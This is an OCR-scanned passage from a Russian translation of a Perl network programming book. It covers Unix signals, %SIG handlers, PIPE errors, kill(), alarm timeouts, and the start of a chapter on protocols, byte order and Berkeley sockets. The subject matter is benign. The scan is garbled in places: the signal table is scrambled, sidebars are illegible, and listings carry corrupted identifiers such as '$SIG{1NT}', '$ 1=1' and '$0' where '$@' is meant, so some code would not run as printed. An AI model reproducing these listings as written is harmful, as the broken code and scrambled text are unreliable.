CHLD
CONT
STOP
TSTP
TTIN
TTOU
Примечание.
1
2
3
4
6
8
9
10
11
12
13
14
15
17
18
19
20
21
22
A-
A
A
A
A
С
С
AF
A
С
A
A
A
A
В
E
DF
D
D
D
- заданное
Обнаружено отключение
Нажатие клавиши прерывания на клавиатуре
Нажатие клавиши выхода на клавиатуре
Недопустимая команда
Аварийное прекращение работы
Исключительная ситуация при выполнении
операции с плавающей точкой
Сигнал завершения
Сигнал 1, определяемый пользователем
Недопустимая ссылка на адрес в памяти
Сигнал 2, определяемый пользователем
Запись в канал, не подключенный к программе чтения
Сигнал таймера от сигнальных часов
Сигнал завершения
Завершение дочернего процесса
Продолжить выполнение остановленного процесса
Остановить процесс
С терминала поступил сигнал останова
Ввод данных для фонового процесса с терминала
Вывод данных для фонового процесса с терминала
заданное по умолчанию действие предусматривает завершение процесса.
В — заданное по умолчанию действие предусматривает игнорирование сигнала.
С — заданное по умолчанию действие предусматривает завершение процесса
и формирование дампа ядра.
D — заданное по умолчанию действие предусматривает останов процесса.
Е — заданное по умолчанию действие предусматривает возобновление
процесса.
F — сигнал не может быть перехвачен или проигнорирован.
В соответствии с принятым соглашением, сигналы TERM и KILL применяются
одним процессом для завершения другого. По умолчанию сигнал TERM вызывает
немедленное прекращение работы программы, но в программе может быть установлен
обработчик сигнала TERM для перехвата запроса на завершение и, возможно, для
выполнения некоторых завершающих действий перед выходом из программы.
В отличие от этого, сигнал KILL не может быть перехвачен. Он вызывает немедлен-
■ое прекращение процесса "без шансов на спасение". Например, при останове систе-
1СЫ UNIX сценарий, выполняющий процесс останова, вначале отправляет каждому
раб тающему процессу по очереди сигнал TERM, предоставляя возможность выпол-
Тлава 2. Процессы, каналы и сигналы
73
нить заключительные действия. Если по истечении нескольких десятков секунд
процесс продолжает работать, сценарий останова посылает ему сигнал KILL.
Сигнал PIPE отправляется в программу, если она выполняет запись в канал или
сокет, а процесс на другом его конце либо завершился, либо закрыл свой конец
соединения. Этот сигнал встречается в сетевых приложениях так часто, что он будет
подробно рассмотрен в разделе "Обработка исключений PIPE".
Сигнал ALRM применяется в сочетании с функцией alarm () для отправки
программе заранее запланированного сигнала по истечении определенного промежутка
времени. Кроме всего прочего, этот сигнал может использоваться для установки
времени ожидания заблокированных вызовов функций ввода-вывода. Примеры
применения этого сигнала рассматриваются в разделе "Установка времени ожидания
завершения продолжительных операций". Сигнал CHLD возникает, если процессом был
запущен подпроцесс и состояние этого дочернего процесса каким-то образом
изменилось. Обычно изменение состояния состоит в завершении работы дочернего
процесса, но сигнал CHLD вырабатывается также при каждой приостановке или
продолжении работы дочернего процесса. Применение сигнала CHLD будет рассмотрено
более подробно в главах 4 и 9.
И сигнал STOP, и сигнал TSTP приводят к останову текущего процесса. Процесс
переходит в приостановленное состояние на неопределенное время; для
возобновления его работы должен быть отправлен сигнал CONT. Сигнал STOP обычно
применяется одной программой для останова другой. Сигнал TSTP вырабатывается
командным интерпретатором, когда пользователь нажимает клавиш)' останова
(<Ctrl+Z> в системах UNDC). Еще одно различие между этими двумя сигналами
состоит в том, что сигнал TSTP может быть перехвачен, а сигнал STOP нельзя
перехватить или проигнорировать.
Перехват сигналов
Перехватывать сигналы можно путем добавления обработчика сигналов к
глобальному хеш)' %SIG. В качестве ключа этого хеша должно быть указано имя сигнала,
который должен быть перехвачен. Например, для получения или установки
обработчика сигнала INT может использоваться значение $SIG{INT}. В качестве значения
применяется ссылка на код: либо анонимная подпрограмма, либо ссылка на
именованную подпрограмму. Например, в листинге 2.6 приведен небольшой сценарий,
который устанавливает обработчик сигнала INT. Вместо прекращения работы, при
нажатии клавиши прерывания данный сценарий выводит короткое сообщение и
увеличивает значение счетчика. Это происходит до тех пор, пока в сценарии не будет
подсчитано три прерывания, после чего он, наконец, завершает свою работу. В
приведенном выше примере выполнения этой программы, показано, что при каждом
нажатии клавиш <Ctrl+C> выводится сообщение "Don" t interrupt me!".
% interrupt.pi
I'm sleeping.
I'm sleeping.
Don't interrupt me! You've already interrupted me Ix.
I'm sleeping.
I'm sleeping.
Don't interrupt me! You've already interrupted me 2x.
I'm sleeping.
Don't interrupt me! You've already interrupted me 3x.
74
Часть I. Основы
Рассмотрим этот сценарий более подробно.
Листинг 2.6. Перехват сигнала INT
О: #!/usr/bin/perl
1: # Файл: interrupt.pi
2: use strict;
3: my $interruptions = 0;
4: $SIG{1NT} = \&handle_interruptions;
5: while ($interruptions < 3) {
6: print "I'm sleeping.\n";
7: sleep(5);
8: }
9: sub handle_interruptions {
10: $interruptions++;
11: warn "Don't interrupt me! You've already interrupted me
${interruptions}x.\n"
12: }
Проведем анализ программы.
• Строки 1-3. Инициализация сценария. Включена строгая проверка синтаксиса и объявлен
глобальный счетчик $interruptions. Этот счетчик следит за тем, сколько раз был получен
в сценарии сигнал int.
• Строка 4. Установка обработчика сигнала int. Обработчик сигнала int устанавливается
путем присвоения переменной $sig{int) значения ссылки на подпрограмму
handleinterruptions().
• Строки 5-8. Главный цикл. Главный цикл в этой программе предусматривает просто вывод
сообщения и вызов функции sleep с параметром 5. Данная функция переводит программу
в состояние ожидания — до 5 секунд или до получения сигнала. Так продолжается до тех пор,
пока счетчик $interruptions не становится равным 3 или более высокому значению.
• Строки 9-12. Подпрограмма handle_i.nterrupti.ons О. Эта подпрограмма вызывается при
поступлении каждого сигнала int, даже если программа при этом занимается выполнением
каких-то других действий. В данном случае обработчик сигнала увеличивает значение
переменной $interruptions и выводит предупреждающее сообщение.
При небольшом объеме кода обработчика сигнала в качестве него может
применяться анонимная подпрограмма. Например, следующий фрагмент кода эквивалентен
приведенному в листинге 2.6, но подпрограмма обработчика сигнала не имеет фор
мального имени.
$SIG{INT} = sub {
$interruptions++;
warn "Don't interrupt me! You've already interrupted
me ${interruptions}x.\n";
};
Кроме ссылок на код, хеш %SIG позволяет распознать два частных случая.
Строка "DEFAULT" указывает, что должна быть восстановлена процедура обработки
сигнала, предусмотренная по умолчанию. Например, установка значения $SIG{INT},
равного "DEFAULT", приводит к тому, что сигнал INT снова завершает работу
сценария. С другой стороны, установка значения "IGNORE" приводит к тому, что
сигнал полностью игнорируется.
Как было упомянуто выше, не стоит заниматься установкой обработчиков для
сигналов KILL или STOP. Эти сигналы не могут быть ни перехвачены, ни
проигнорированы, поэтому всегда выполняется действие, предусмотренное для них по умолчанию.
Глава 2. Процессы, каналы и сигналы
75
Если необходимо использовать одну и ту же процедуру для перехвата нескольких
сигналов и отличать в этой подпрограмме один сигнал от другого, это можно сделать,
анализируя первый параметр, который содержит имя сигнала. Например, при получении
сигнала INT обработчик будет вызван с указанием в качестве параметра строки "INT".
$SIG{TERM} = $SIG{HUP} = $SIG{INT} = \&handler
sub handler {
my $sig = shift;
warn "Handling a $sig signal.\n";
}
Обработка исключений PIPE
Теперь у нас есть все необходимое для работы с исключениями PIPE. Напомним,
что в примерах сценариев write_ten.pi и read_three.pi, приведенных в
листингах 2.4 и 2.5 в разделе "Серьезная ошибка PIPE", сценарий write_ten.pl открывает
канал в сценарий read_three. pi и пытается записать в этот канал десять строк
текста, но сценарий read_three. pi готов принять только три строки, после чего он
завершает работу и закрывает свой конец канала. Сценарий write_ten.pl, не имея
информации о том, что другой участник соединения завершил работу, пытается
записать четвертую строку текста, в результате чего вырабатывается сигнал PIPE.
Изменим сценарий write_ten.pl так, чтобы он обнаруживал ошибку PIPE и
обрабатывал ее более корректно. Варианты этого метода будут применяться в
следующих главах для решения обычных проблем сетевой связи.
Первый метод показан в листинге 2.7, где приведен сценарий write_ten_ph.pl.
Здесь определяется глобальный флажок $ок, который вначале имеет истинное
значение. После этого устанавливается обработчик сигнала PIPE с использованием
следующего кода.
$SIG{PIPE} = sub { undef $ok };
После получения сигнала PIPE обработчик вызывает функцию undef с указанием
в качестве параметра флажка $ок, в результате чего этот флажок приобретает
ложное значение.
Еще одно изменение состоит в замене простого цикла f or (), применяемого
в оригинальной версии, более сложным вариантом этого цикла, который проверяет
состояние флажка $ок. Если этот флажок приобретает ложное значение, выполнение
цикла прекращается. После вызова на выполнение измененной версии сценария
можно убедиться в том, что программа доходит до конца и корректно сообщает число
успешно записанных строк.
% write_ten_ph.p1
Writing line 1
Read_three got: This is line number 1
Writing line 2
Read_three got: This is line number 2
Writing line 3
Read_three got: This is line number 3
Writing line 4
Wrote 3 lines of text
Еще один общепринятый метод состоит в установке значения $SIG{PIPE},
равного 'IGNORE', в результате чего сигнал PIPE полностью игнорируется. Теперь мы сами
должны взять на себя обязанность следить за тем, что все идет нормально. Это можно
выполнить путем проверки кода результата вызова функции print (). Если функция
print () возвращает ложное значение, выполняется выход из цикла.
76
Часть I. Основы
Листинг 2.7. Сценарий write_tcn_ph.pl
о
1
2
3
4
5
б
7
8
9
10
11
12
13
14
#!/usr/bin/perl
# Файл: write_ten_ph.pl
use strict;
my $ok = 1;
$SIG{PIPE} = sub { undef $ok };
open(PIPE,"| read_three.pl") or die "Can't open pipe: $!";
select PIPE; $ 1=1; select STDOUT;
my $count =0;
for ($_=1; $ok && $_ <= 10; $_++) {
warn "Writing line $_\n";
print PIPE "This is line number $_\n" and $count++;
sleep 1;
}
close PIPE or die "Can't close pipe: $!";
print "Wrote $count lines of text\n";
В листинге 2.8 приведен код сценария write_ten_i.pl, который иллюстрирует
указанный метод. Сценарий начинается с установки переменной $SIG{PIPE} равной
строковому значению "IGNORE", что приводит к подавлению сигналов PIPE. Кроме
того, внесены исправления в цикл вывода с тем, чтобы при успешном выполнении
функции print (), как и прежде, увеличивалось значение переменной $count, а при
неудачном завершении выдавалось предупреждающее сообщение и выполнялся
выход из цикла с помощью оператора last.
Листинг 2.8. Сценарий write_ten_i.pl
о
1
2
3
4
5
б
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/perl
# Файл: write_ten_i.pi
use strict;
$SIG{PIPE} = 'IGNORE';
open(PIPE,"| read_three.pl") or die "Can't open pipe:
select PIPE; $1=1; select STDOUT;
my $count=0;
for (1 . . 10) {
warn "Writing line $_\n";
if (print PIPE "This is line number $_\n") {
$count++;
} else {
warn "An error occurred during writing: $!\n";
last;
}
sleep 1;
}
close PIPE or die "Can't close pipe: $!";
print "Wrote $count lines of text\n";
При выполнении сценария write_ten_i. pi будет получен следующий результат.
% write_ten_i.pl
Writing line 1
Read_three got: This is line number 1
Writing line 2
Глава 2. Процессы, каналы и сигналы
77
Read_three got: This is line number 2
Writing line 3
Read_three got: This is line number 3
Writing line 4
An error occurred during writing: Broken pipe
Wrote 3 lines of text
Обратите внимание, что сообщение об ошибке, которое появляется в переменной
$ ! после неудачного завершения операции вывода, содержит текст "Broken pipe".
Если бы в программе нужно было обработать эту ошибку отдельно от других ошибок
ввода-вывода, можно было бы явно проверить значение этой переменной путем
сопоставления с образцом или, что лучше всего, сравнить числовое значение этой
переменной с числовой константой кода ошибки EPIPE.
use Errno ':POSIX';
unless (print PIPE "This is line number $_\n") {
# Обработать ошибки записи
# После возникновения исключения PIPE просто завершить цикл
last if $! = EPIPE;
# В ином случае вызвать функцию die с сообщением об ошибке
die "I/O error: $!";
}
Отправка сигналов
Сценарий Perl может послать сигнал другому процессу с использованием
функции kill ().
$ count ш kill {^signal,{(processes) '"' ~' ™:tr ~Щ
Функция kill'» посыпэет сигнал ^signal одному или,нескольким процессам, Сигнал может j
быть указан, в числовом, ''например 2, или символическом виде, например "IKT". Параметр j
^processes представляетсрбой список из одного или нескольких идентификаторов процессов, ко- j
торым должен быть доставлёй Сигнал. Число процессов, которым был успешно отправлен сигнал, ]
возвращается в качестве результата выэсса функции kill ()., ... ^р ,,.-_. ,.чк ': i
Один процесс может отправить сигнал другому, только если он имеет на это
достаточные привилегии. Как правило, процесс, имеющий привилегии обычного
пользователя, может отправлять сигналы только процессам с привилегиями того же
пользователя. Однако процесс, имеющий привилегии пользователя root или
суперпользователя, может отправить сигнал любому процессу.
Функция kill () предоставляет возможность применить несколько
интересных приемов. Если в вызове этой функции применяется специальный номер
сигнала 0, она возвращает число процессов, которым мог быть отправлен этот
сигнал, без фактической его доставки. При использовании в качестве
идентификатора процесса отрицательного числа функция kill () рассматривает абсолютное
значение этого числа как идентификатор группы процессов и доставляет сигнал
всем членам группы.
Сценарий может послать сигнал самому себе, вызвав функцию kill () с
переменной $$, которая содержит текущий идентификатор процесса. Например, ниже
показан интересный способ самоуничтожения сценария.
kill INT => $$; # то же, что и kill(■INT',$$)
78
Часть!. Основы
Предупреждения, касающиеся применения
обработчиков сигналов
Сигнал может возникнуть во время выполнения программы в любой момент. Он
может поступить тогда, когда интерпретатор Perl выполняет какие-то важные
действия, например обновляет одну из структур памяти, или даже в момент выполнения
системного вызова. Если обработчик сигнала каким-то образом проводит
реорганизацию памяти, например распределяет или уничтожает большую структуру данных,
то после возврата управления обработчиком сигнала интерпретатор Perl может
обнаружить, что произошли какие-то неожиданные изменения, и не сможет нормально
продолжить свою работу, что иногда приводит к неприятному аварийному отказу.
Чтобы исключить такую возможность, следует предусматривать выполнение
обработчиком сигнала минимально необходимых действий. Безопаснее всего
установить в нем глобальную переменную и выполнить возврат, как было сделано в
обработчике PIPE, приведенном в листинге 2.7. В обработчике сигнала не следует
выполнять не только операции с памятью, но и операции ввода-вывода. Хотя во всей книге
обработчики сигналов обильно сдобрены диагностическими операторами warn (),
все эти операторы должны быть исключены из производственных программ.
В обработчике сигнала обычно вполне допустимо вызывать функции die ()
и exit () .Исключением из этого правила являются системы Microsoft Windows, в
которых, в связи с ограничениями собственной библиотеки сигналов, эти два вызова
могут приводить к возникновению ошибок типа "Dr. Watson" при их применении
в обработчике сигнала.
Безусловно, реализация сигналов в системах Windows в настоящее время является
чрезвычайно ограниченной. Простые действия, например применение обработчика
INT для перехвата сигнала прерывания, вполне применимы. Более сложные
действия, такие как применение обработчиков CHLD для перехвата сообщений о
завершении работы подпроцессов, не выполняются. В этой области продолжается активная
разработка, поэтому обязательно проверяйте документацию к очередной версии,
прежде чем пытаться написать или адаптировать любой код, который в значительной
степени зависит от сигналов.
Обработка сигналов в версии MacPerl не реализована.
Прекращение по тайм-ауту продолжительных
системных вызовов
Сигнал может возникнуть в то время, как интерпретатор Perl выполняет
системный вызов. В большинстве случаев Perl автоматически возобновляет выполнение
системного вызова, начиная именно с того места, где было прервано выполнение.
Однако несколько системных вызовов являются исключением из этого правила.
Одним из них является функция sleep (), которая приостанавливает сценарий на
указанное число секунд. Однако если выполнение функции s leep () прервано каким-то
сигналом, она преждевременно прекращает свою работу, возвращая число секунд,
проведенных в состоянии ожидания перед активизацией. Это свойство функции sleep ()
является исключительно полезным, поскольку оно позволяет перевести сценарий в
состояние ожидания до тех пор, пока не произойдет некоторое ожидаемое событие.
Глава 2. Проирссы, каналы и сигналы
79
j $elept = sleep([Sseconds]) _"
I'' Перейти в состояние ожидания на указанное числЬ секунд или до тех пор, пока не будет получен
! какой-либо сигнал. Если параметр не указан, эта функция навсегда переводит программу в состоя-
| ние ожидания. После того как функция sleep () возвращает управление] она возвращает число се->
|. кунд, фактически проведенных в состоянии ожидания.
Еще одним исключением является версия функции select () с четырьмя
параметрами, которая может применяться для перехода в состояние ожидания на
указанное время до тех пор, пока один или несколько дескрипторов файлов из указанного
набора не будут готовы для ввода-вывода. Эта функция подробно описана в главе 12.
Иногда автоматическое возобновление выполнения системного вызова является
нежелательным. Например, рассмотрим приложение, которое выводит для
пользователя приглашение ввести пароль и пытается прочитать ответ со стандартного
устройства ввода. В этом приложении может потребоваться установить выдержку
времени для выполнения этой операции чтения на тот случай, если пользователь
отойдет на некоторое время и оставит терминал без присмотра. На первый взгляд, такое
требование позволяет реализовать следующий фрагмент кода.
my $timed_out =0;
$SIG{ALRM} = sub { $timed_out = 1 } ;
print STDERR "type your password: **;
alarm(5); # Тайм-аут на пять секунд
my $password = <STDIN>;
alarm (0);
print STDERR "you timed out\n" if $timed_out;
Здесь для установки таймера применяется функция alarm (). По истечении
установленного времени операционная система вырабатывает сигнал ALRM, который
перехватывается обработчиком, устанавливающим значение глобальной переменной
$timed_out равным истинному значению. В этом коде функция alarm () вызывается
с выдержкой времени пять секунд, а затем'со стандартного устройства ввода считыва-
ется строка.. После выполнения чтения снова вызывается функция alarm () с
параметром, равным нулю, что приводит к отключению таймера. Замысел этого кода
состоит в том, что пользователю предоставляется пять секунд для ввода пароля. Если
этого не будет сделано, истечет время, установленное функцией alarm, и остальная
часть программы будет пропущена.
$saeori<is_left = alarm (Sseccnrte)
Указание j том. чтэ процессу должен Сыть передан .сигнал alkm по истечении промежутка еро*
мени $эосоп'1э.|Результат, вез^раииемый функцией^ лредстаелдет собой число секунд, сетааших-
ся noot& предыдущей установки таймира. Это значение не ггено нулю, если ожидание било
прорвано Значение nartaMi. ■&, г-авнре нулю: отменяет установку таймера.
Недостатком этого кода является то, что интерпретатор Perl автоматически
перезапускает продолжительные системные вызовы, включая оператор о. Даже по
истечении времени, установленного функцией alarm, вызов о продолжает
выполняться, ожидая ввода данных пользователем с клавиатуры.
Решение этой Проблемы состоит в использовании оператора eval { } и
локального обработчика ALRM для отмены операции чтения. Ниже показан общий принцип
реализации этого решения.
print STDERR "type your password: ";
my $password =
eval {
80 Часть I. Основы
t
local $SIG{ALRM} = sub { die "timeout\n" };
alarm (5); # Тайм-аут на пять секунд
return <STDIN>;
};
alarm (0);
print STDERR "you timed out\n" if $0 =~ /timeout/;
Вместо размещения обработчика ALRM в главной части программы, он
локализуется в блоке eval {}. Блок eval {}, как и прежде, предусматривает установку
выдержки времени функции alarm, после чего выполняется попытка чтения из
дескриптора файла STDIN. Если оператор о выполняет возврат до истечения выдержки
времени, то из блока eval { } возвращается строка ввода и присваивается
переменной $pas sword.
Однако если установленный период времени истекает до выполнения ввода,
активизируется обработчик ALRM и вызывает аварийное завершение работы с
сообщением об ошибке "timeout". Поскольку аварийное завершение происходит внутри блока
eval { }, в результате оператор eval { } просто возвращает значение undef и
устанавливает значение переменной $ @ равным последнему сообщению об ошибке.
Выполняется сопоставление переменной $@ с образцом для поиска сообщения о тайм-
ауте и, в случае его обнаружения, выводится предупреждающее сообщение.
В любом случае выдержка времени отменяется немедленно после возврата управления
из блока е va 1 {} для предотвращения срабатывания таймера в неподходящий момент.
Этот метод будет неоднократно применяться в следующих главах для отмены по
тайм-ауту продолжительных сетевых вызовов.
Резюме
В настоящей главе представлены три основные темы, которые будут
рассматриваться на протяжении всей книги.
Процессы соответствуют экземпляру работающей программы. Язык Perl
позволяет создавать новые процессы путем вызова функций system () и fork() или
замещать текущий процесс другим с помощью функции exec ().
Каналы представляют собой соединения ввода-вывода между двумя процессами.
Канал выглядит и действует, как дескриптор файла, но он подключен не к файлу,
а к другому процессу. Если канал открыт для чтения, данные, считанные из него,
поступают из стандартного устройства вывода процесса, находящегося на другом конце
канала. Если канал открыт для записи, данные, выведенные в него, направляются
в стандартное устройство ввода другого процесса.
Сигналы применяются в программах для уведомления об исключительных
условиях, в число которых входят ошибки PIPE и другие проблемы, связанные с вводом-
выводом. Сигналы позволяют также прерывать по тайм-ауту слишком долго
выполняющиеся операции и перехватывать срочные запросы от пользователя. Для
управления поступающими сигналами могут устанавливаться обработчики сигналов в хеше
* SIG, а для отправки сигналов другим процессам (или самому себе) в процессе может
применяться функция kill ().
В следующей главе приведены подробные сведения о сокетах Berkeley, которые
необходимы для подготовки к ознакомлению с полным описанием сетевых средств
протокола TCP.
Глава 2. Процессы, каналы и сигналы
81
Глава [Т]
Основные сведения
о сокетах Berkeley
В настоящей главе приведено вводное описание применяемой в языке Perl версии
API-интерфейса сокетов Berkeley— сетевого API-интерфейса низкого уровня,
который лежит в основе всех сетевых модулей Perl. Здесь описаны различные виды
сокетов, показаны основные типы клиентов и серверов, созданных с использованием
сокетов Berkeley, и рассмотрены некоторые обычные ловушки, которые подстерегают
программистов при их первом знакомстве с этим API-интерфейсом.
Клиенты, серверы и протоколы
Сетевое взаимодействие происходит, когда две программы обмениваются
данными по сети. За редкими исключениями, эти программы не являются равнозначными.
Одна из них, назьшаемая клиентом, инициализирует соединение и обычно (но не
всегда!) подключается только к одному серверу одновременно. Другой участник
соединения, сервер, является пассивным и просто ожидает, пока к нему не обратится
клиент, желающий установить соединение. В отличие от клиентов, сервер обычно
обслуживает одновременно множество входящих соединений с множеством клиентов.
Обычно компьютер ("хост"), на котором работает сервер, крупнее и мощнее по
сравнению с клиентским компьютером, но это правило не является абсолютным.
В действительности в некоторых популярных приложениях, таких как система
XWindow, ситуация может быть иной— сервером обычно является персональный
или другой настольный компьютер, а клиент работает на более мощном компьютере
"класса сервера".
Большинство известных сетевых протоколов составляют основу приложений типа
клиент/сервер. К ним относятся протокол HTTP, применяемый в Web, протокол
SMTP, который используется в электронной почте Internet, а также все протоколы
доступа к базе данных. Однако небольшим, но быстро растущим классом сетевых
приложений являются одноранговые приложения. При использовании однорангового
протокола оба участника соединения являются равными, и каждый из них может выполнить
несколько соединений с другими копиями одной и той же программы. Например,
одноранговым является протокол совместного доступа к файлам Napster, вызывающий
много споров, а также разработанные на его основе системы Gnutella и Freenet.
82
Часть!. Основы
Протоколы
До сих пор в этой книге часто применялось слово "протокол", а теперь необходимо
разобраться, что именно оно означает. Протокол — это просто согласованный набор
стандартов, по которому взаимодействуют два программных компонента. Сетевые протоколы
образуют стек, на каждом уровне которого применяются разные протоколы (рис. 3.1).
Пользовательский _
процесс
Почтовый
клиент
Операционная
система
TCP
IP
Драйвер
Ethernet
Протокол SMTP
Протокол TCP
Протокол IP
Протокол Ethernet
Поток данных
Почтовый
сервер
TCP
IP
Драйвер
Ethernet
Прикладной уровень
Транспортный уровень
Сетевой уровень
Канальный уровень
Сеть Ethernet
Рис. 3.1. Уровни стека протоколов TCP/IP [14]
Самым низким уровнем стека является аппаратный или канальный, который
реализован в драйверах, встроенных в сетевые интерфейсные платы Ethernet. Этот уровень
устанавливает единые соглашения в отношении того, как выполнять прямое и обратное
преобразование импульсов электрического напряжения в сетевом кабеле в кадры Ethernet;
как определять, что кабель используется другой платой; как распознавать и разрешать
конфликты между двумя платами, пытающимися передавать информацию одновременно.
Следующим уровнем является сетевой. На этом уровне информация разбивается на
пакеты, состоящие из заголовка, который содержит адреса отправителя и получателя, и тела
сообщения, которое включает фактически передаваемые данные. Объем тела сообщения
обычно составляет от 500 до 1500 байт. На уровне IP действуют маршрутизаторы Internet,
которые считывают заголовки пакетов и определяют, куда должны быть перенаправлены
эти пакеты, чтобы они достигли места своего назначения. Основным протоколом этого
уровня является так называемый межсетевой протокол, или IP (Internet Protocol).
Транспортный уровень отвечает за создание пакетов данных и обеспечение
целостности их содержимого. К наиболее важным протоколам, применяемым на этом уровне,
относятся протокол управления передачей (TCP — Transmission Control Protocol),
который обеспечивает надежную связь с установлением логического соединения, и
протокол пользовательских дейтаграмм (UDP— User Datagram Protocol), который
предоставляет доступ к менее надежной службе, ориентированной на передачу сообщений. Эти
протоколы отвечают за передачу данных по месту их назначения. Для них не имеет
значения, какая информация фактически находится в потоке данных.
Глава 3. Основные сведенья о сокетах Berkeley
83
В верхней части стека находится прикладной уровень, на котором содержимое
потока данных уже имеет значение. На этом уровне применяется ряд протоколов, в том
числе такие, более или менее распространенные протоколы, как HTTP, FTP, SMTP,
POPS, IMAP, SNMP, XDMCP и NNTP. Эти протоколы указывают, как клиент должен
обращаться к серверу, какие сообщения разрешены для передачи и какая
информация должна содержаться в каждом сообщении, причем иногда регламентируют все
это вплоть до мельчайших подробностей.
Сочетание протоколов сетевого и транспортного уровня известно под названием
TCP/IP, в соответствии с названиями двух основных протоколов, которые
функционируют на этих уровнях.
Сопоставление двоичных и текстовых протоколов
Прежде чем приступить к обмену информацией по сети, участники соединения
должны сделать принципиальный выбор: обмениваться ли данными в двоичной фор
ме либо в виде текста, пригодного для восприятия человеком. Этот выбор имеет
далеко идущие последствия.
Чтобы понять, о чем идет речь, рассмотрим, как можно передать по сети число
1984. Для передачи его в виде текста один хост должен отправить другому строку
1984, которая в обычном наборе символов ASCII соответствует четырем шестнадца-
теричным байтам 0x31 0x39 0x38 0x34. Эти четыре байта передаются
последовательно по сети и появляются на другом конце соединения в виде строки "1984" (при
условии, что другой хост также поддерживает код ASCII).
Однако значение 1984 может также рассматриваться как число, и в этом случае
оно может быть представлено в виде двухбайтового целого числа, которое имеет ше-
стнадцатеричное представление 0х7С0. Если это значение уже хранится на локальном
хосте в виде числа, то кажется разумным решение передать его по сети в собственном
двухбайтовом формате, вместо преобразования его в четырехбайтовое текстовое
представление, последующей передачи и обратного преобразования в двухбайтовое
число на другом конце соединения. При этом будет не только уменьшен объем
вычислений, но и потребность в пропускной способности сети уменьшится наполовину.
К сожалению, все не так-то просто. В разных компьютерных архитектурах
применяются различные способы хранения целых чисел и чисел с плавающей точкой. На
одних компьютерах используется двухбайтовое представление целых чисел, на
других — четырехбайтовое, а на некоторых — даже восьмибайтовое. Этот формат
представления называется размером слова. Более того, в разных компьютерных
архитектурах применяются два различных соглашения о формате хранения целых чисел
в памяти. В некоторых системах с так называемой архитектурой со словами,
оканчивающимися старшим байтом, наиболее значащая часть целого числа хранится в пер
вом байте двухбайтового слова. В подобных системах при чтении числа от младшего
к старшему байту значение 1984 представлено в памяти в виде следующих двух байтов.
0x07 ОхСО
младший -> старший
В архитектурах со словами, оканчивающимися младшим байтом, применяется
обратное соглашение, и байты, представляющие значение 1984, хранятся в
обратном порядке.
ОхСО 0x07
младший -> старший
84
Часть I. Основы
Эти разные архитектуры применяются только по традиции, и ни одна из них не
имеет значительных преимуществ над другой. Проблема возникает при передаче
двоичных данных по сети, поскольку пара байтов должна быть передана
последовательно в виде двух байтов. Данные, хранящиеся в памяти, отправляются по сети — от
младших байтов к старшим. Поэтому на компьютерах со словами, оканчивающимися
старшим байтом, число 1984 будет передано как 0x07 ОхСО, а на компьютерах со
словами, оканчивающимися младшим байтом, эти байты будут переданы в обратном
порядке. Если на компьютере, находящемся на другом конце соединения,
применяется такой же размер слова и порядок байтов, эти байты после их получения будут
интерпретироваться правильно, как число 1984. Однако если в компьютере получателя
используется другой порядок байтов, то эти два байта будут интерпретироваться
в неправильном порядке и будут приняты как шестнадцатеричное значение ОхСО 07
или десятичное значение 49159. Мало того, если получатель будет рассматривать эти
байты как принадлежащие к старшей половине четырехбайтового целого числа, они
будут восприняты как ОхС0070000 или 3221684224. Если число 1984 обозначает год
рождения, то чей-то юбилей состоится не скоро.
Поскольку применение двоичных форматов вполне может привести к подобной
неразберихе, в Internet, как правило, используются текстовые протоколы. Все
широко распространенные протоколы предусматривают преобразование цифровой
информации в текст перед ее передачей, даже несмотря на то что это может привести
к увеличению объема данных, передаваемых по сети. Некоторые протоколы
предусматривают преобразование данных, не имеющих осмысленного текстового
представления, таких как звуковые файлы, в форму, в которой применяется набор
символов ASCII, поскольку это обычно позволяет упростить работу с этими данными. По
тем же причинам подавляющее большинство протоколов ориентировано на
обработку строк, а это значит, что они воспринимают команды и передают данные в форме
отдельных строк, оканчивающихся общепринятой последовательностью символов
обозначения конца строки.
Однако несколько протоколов являются двоичными. К их числу относятся
система дистанционного вызова процедур (RPC — Remote Procedure Call)
компании Sun и одноранговый протокол обмена файлами Napster. При использовании
подобных протоколов необходимо тщательно следить за тем, чтобы двоичные
данные были представлены в каком-то общем формате. Для представления целых
чисел применяется общепризнанный сетевой формат. В сетевом формате
"короткое" целое число представлено двухбайтовым словом, оканчивающимся
старшим байтом, а "длинное" целое число — четырехбайтовым словом,
оканчивающимся старшим байтом. Как будет показано в главе 19, функции pack ()
и unpack () языка Perl предоставляют возможность выполнять прямое и
обратное преобразование чисел в сетевой формат.
Числа с плавающей точкой и более сложные объекты наподобие структур данных
не имеют общепринятого сетевого представления. При обмене двоичными данными
в каждом протоколе предусматривается собственный способ представления
подобных данных в формате, независимом от платформы.
В основной части этой книги предусмотрено применение только текстовых
протоколов. Однако, чтобы дать читателю возможность понять, что собой представляет
применение двоичного протокола, в главах 19 и 20 представлена основанная на
использовании протокола UDP система обмена сообщениями в реальном времени,
которая обеспечивает обмен двоичными сообщениями, независимо от платформы.
Глава 3. Основные сведения о сокетах Berkeley
85
Сокеты Berkeley
Сокеты Berkeley составляют часть интерфейса прикладного программирования
(API — Application Programming Interface), который регламентирует структуры данных
и параметры функций, предназначенные для взаимодействия с сетевой подсистемой
операционной системы. Название этого API-интерфейса происходит от его прототипа
в выпуске 4.2 стандартного дистрибутива Berkeley (4.2BSD) системы UNIX. Сокеты
Berkeley функционируют в качестве транспортного уровня: они помогают доставить
данные по месту назначения, но не накладывают никаких ограничений на их содержание.
Сокеты Berkeley представлены в виде API-интерфейса, а не конкретного протокола,
который определял бы принципы работы программиста с идеализированной сетью. API-
интерфейс сокетов Berkeley тесно связан с сетевым протоколом TCP/IP, для которого
и был первоначально разработан. Однако он приспособлен и для поддержки сетей другого
типа, например Novell Netware, а также сетевых средств Windows NT и Appletalk.
Язык Perl предоставляет полную поддержку сокетов Berkeley на большинстве
платформ, на которых он работает. На некоторых платформах, таких как Windows
и Macintosh, модули расширения предоставляют также доступ к сетевым API-
интерфейсам, отличным от Berkeley, предназначенным специально для этих
платформ. Однако для написания переносимых приложений, безусловно, необходимо
придерживаться API-интерфейса сокетов Berkeley.
Устройство сокета
Сокет — это оконечная точка соединения, окно во внешний мир, позволяющее
отправлять исходящие сообщения и получать входящий трафик от удаленных
процессов, задача которых состоит в обмене данными с локальным компьютером.
Для создания сокета необходимо предоставить системе, как минимум, три
компонента информации.
Домен сокета
Домен определяет семейство сетевых протоколов и схем адресации,
поддерживаемых сокетами. Домен может быть выбран из небольшого числа целочисленных
констант, определяемых операционной системой и экспортируемых модулем Socket
языка Perl. В настоящее время есть только два общепринятых домена (табл. 3.1).
Домен AF_INET применяется для работы с сетями TCP/IP. Сокеты в этом домене
